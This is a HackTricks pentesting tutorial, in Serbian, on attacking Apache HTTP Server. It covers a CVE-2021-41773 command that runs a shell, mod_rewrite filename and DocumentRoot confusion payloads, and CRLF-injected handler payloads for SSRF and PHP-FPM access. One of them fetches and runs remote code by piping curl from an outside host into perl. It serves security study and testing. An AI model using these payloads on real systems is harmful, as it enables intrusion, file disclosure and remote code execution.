Apache

Reading time: 10 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Izvršne PHP ekstenzije

Proverite koje ekstenzije izvršava Apache server. Da biste ih pretražili, možete izvršiti:

bash
grep -R -B1 "httpd-php" /etc/apache2

Takođe, neka mesta gde možete pronaći ovu konfiguraciju su:

bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf

CVE-2021-41773

bash
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux

Confusion Attack

Ove vrste napada su predstavljene i dokumentovane od strane Orange u ovom blog postu i sledeći je sažetak. Napad "confusion" u suštini zloupotrebljava način na koji desetine modula koji rade zajedno u Apache-u ne funkcionišu savršeno sinkronizovano, a modifikacija nekih neočekivanih podataka može izazvati ranjivost u kasnijem modulu.

Filename Confusion

Truncation

mod_rewrite će skratiti sadržaj r->filename nakon karaktera ? (modules/mappers/mod_rewrite.c#L4141). Ovo nije potpuno pogrešno jer će većina modula tretirati r->filename kao URL. Međutim, u drugim prilikama, ovo će biti tretirano kao putanja do fajla, što može izazvati problem.

  • Path Truncation

Moguće je zloupotrebiti mod_rewrite kao u sledećem primeru pravila da bi se pristupilo drugim fajlovima unutar fajl sistema, uklanjajući poslednji deo očekivane putanje jednostavno dodajući ?:

bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`

# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
  • Zavaravajuća dodela RewriteFlag

U sledećem pravilu za prepisivanje, sve dok URL završava sa .php, biće tretiran i izvršen kao php. Stoga, moguće je poslati URL koji se završava sa .php nakon ? karaktera dok se u putanji učitava drugačija vrsta datoteke (poput slike) sa malicioznim php kodom unutar nje:

bash
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>

# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

ACL Bypass

Moguće je pristupiti datotekama kojima korisnik ne bi trebao imati pristup, čak i ako bi pristup trebao biti odbijen sa konfiguracijama kao što su:

xml
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>

To je zato što će PHP-FPM po defaultu primati URL-ove koji se završavaju sa .php, kao što je http://server/admin.php%3Fooo.php, i zato što će PHP-FPM ukloniti sve nakon karaktera ?, prethodni URL će omogućiti učitavanje /admin.php čak i ako je prethodno pravilo to zabranilo.

DocumentRoot Confusion

bash
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

Zanimljiva činjenica o Apache-u je da će prethodni prepravak pokušati da pristupi datoteci i iz documentRoot-a i iz root-a. Dakle, zahtev za https://server/abouth.html će proveriti datoteku u /var/www/html/about.html i /about.html u datotečnom sistemu. Što se u suštini može zloupotrebiti za pristup datotekama u datotečnom sistemu.

Otkrivanje Izvora Koda na Serveru

  • Otkrivanje CGI Izvora Koda

Samo dodavanje %3F na kraju je dovoljno da se otkrije izvorni kod cgi modula:

bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
  • Otkrivanje PHP Izvornog Koda

Ako server ima različite domene, a jedna od njih je statična domena, to se može iskoristiti za pretraživanje datotečnog sistema i otkrivanje php koda:

bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php

Manipulacija lokalnim uređajima

Glavni problem sa prethodnim napadom je to što će po defaultu većina pristupa preko datotečnog sistema biti odbijena kao u konfiguracionom šablonu Apache HTTP Server-a:

xml
<Directory />
AllowOverride None
Require all denied
</Directory>

Međutim, Debian/Ubuntu operativni sistemi po defaultu dozvoljavaju /usr/share:

xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>

Zato bi bilo moguće zloupotrebiti datoteke smeštene unutar /usr/share u ovim distribucijama.

Lokalni Gadget za Otkrivanje Informacija

  • Apache HTTP Server sa websocketd može izložiti dump-env.php skriptu na /usr/share/doc/websocketd/examples/php/, koja može otkriti osetljive promenljive okruženja.
  • Serveri sa Nginx ili Jetty mogu izložiti osetljive informacije o web aplikacijama (npr., web.xml) kroz svoje podrazumevane web korene smeštene pod /usr/share:
  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

Lokalni Gadget za XSS

  • Na Ubuntu Desktop-u sa LibreOffice instaliranim, iskorišćavanje funkcije promene jezika u pomoćnim datotekama može dovesti do Cross-Site Scripting (XSS). Manipulacija URL-om na /usr/share/libreoffice/help/help.html može preusmeriti na zlonamerne stranice ili starije verzije putem unsafe RewriteRule.

Lokalni Gadget za LFI

  • Ako su PHP ili određeni front-end paketi poput JpGraph ili jQuery-jFeed instalirani, njihove datoteke mogu biti iskorišćene za čitanje osetljivih datoteka kao što je /etc/passwd:
  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

Lokalni Gadget za SSRF

  • Korišćenjem MagpieRSS's magpie_debug.php na /usr/share/php/magpierss/scripts/magpie_debug.php, SSRF ranjivost može biti lako stvorena, pružajući prolaz za dalja iskorišćavanja.

Lokalni Gadget za RCE

  • Mogućnosti za Remote Code Execution (RCE) su velike, sa ranjivim instalacijama poput zastare PHPUnit ili phpLiteAdmin. Ove se mogu iskoristiti za izvršavanje proizvoljnog koda, pokazujući opsežan potencijal manipulacije lokalnim gadgetima.

Jailbreak iz Lokalnih Gadgeta

Takođe je moguće jailbreak-ovati iz dozvoljenih foldera prateći symlinkove generisane instaliranim softverom u tim folderima, kao što su:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

Pored toga, zloupotrebom symlinkova bilo je moguće dobiti RCE u Redmine-u.

Handler Confusion

Ovaj napad koristi preklapanje funkcionalnosti između AddHandler i AddType direktiva, koje se obe mogu koristiti za omogućavanje PHP obrade. Prvobitno, ove direktive su uticale na različita polja (r->handler i r->content_type respektivno) u unutrašnjoj strukturi servera. Međutim, zbog nasleđenog koda, Apache obrađuje ove direktive naizmenično pod određenim uslovima, pretvarajući r->content_type u r->handler ako je prvo postavljeno, a drugo nije.

Pored toga, u Apache HTTP Server-u (server/config.c#L420), ako je r->handler prazan pre izvršavanja ap_run_handler(), server koristi r->content_type kao handler, efektivno čineći AddType i AddHandler identičnim u efektu.

Prepisivanje Handler-a za Otkrivanje PHP Izvornog Koda

U ovoj prezentaciji, predstavljena je ranjivost gde netačan Content-Length poslat od strane klijenta može uzrokovati da Apache greškom vrati PHP izvorni kod. To je bilo zbog problema sa obradom grešaka sa ModSecurity i Apache Portable Runtime (APR), gde dvostruki odgovor dovodi do prepisivanja r->content_type na text/html.
Zato što ModSecurity ne obrađuje pravilno povratne vrednosti, vraća PHP kod i ne interpretira ga.

Prepisivanje Handler-a za XXXX

TODO: Orange još nije otkrio ovu ranjivost

Pozivanje Proizvoljnih Handler-a

Ako napadač može da kontroliše Content-Type zaglavlje u odgovoru servera, moći će da pozove proizvoljne module handler-a. Međutim, u trenutku kada napadač kontroliše ovo, većina procesa zahteva će biti završena. Ipak, moguće je ponovo pokrenuti proces zahteva zloupotrebom Location zaglavlja jer ako je returned Status 200 i Location zaglavlje počinje sa /, odgovor se tretira kao Server-Side Redirection i treba ga obraditi.

Prema RFC 3875 (specifikacija o CGI) u Sekciji 6.2.2 definiše se ponašanje lokalnog preusmeravanja odgovora:

CGI skripta može vratiti URI putanju i upitni niz (‘local-pathquery’) za lokalni resurs u zaglavlju Location. Ovo ukazuje serveru da treba ponovo obraditi zahtev koristeći putanju koja je navedena.

Zato, da bi se izveo ovaj napad potrebna je jedna od sledećih ranjivosti:

  • CRLF Injection u CGI odgovorima
  • SSRF sa potpunom kontrolom nad odgovorima

Proizvoljni Handler za Otkrivanje Informacija

Na primer, /server-status bi trebao biti dostupan samo lokalno:

xml
<Location /server-status>
SetHandler server-status
Require local
</Location>

Moguće je pristupiti tome postavljanjem Content-Type na server-status i zaglavlja Location koje počinje sa /

http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a

Arbitrarni Handler za Potpunu SSRF

Preusmeravanje na mod_proxy za pristup bilo kojem protokolu na bilo kojoj URL adresi:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a

Međutim, X-Forwarded-For zaglavlje se dodaje kako bi se sprečio pristup krajnjim tačkama metapodataka u oblaku.

Arbitrarni Handler za Pristup Lokalnom Unix Domen Socketu

Pristupite lokalnom Unix Domen Socketu PHP-FPM-a da biste izvršili PHP backdoor smešten u /tmp/:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a

Arbitrarni Handler za RCE

Zvanična PHP Docker slika uključuje PEAR (Pearcmd.php), alat za upravljanje PHP paketima putem komandne linije, koji se može zloupotrebiti za dobijanje RCE:

http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a

Proverite Docker PHP LFI Sažetak, koji je napisao Phith0n za detalje o ovoj tehnici.

Reference

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks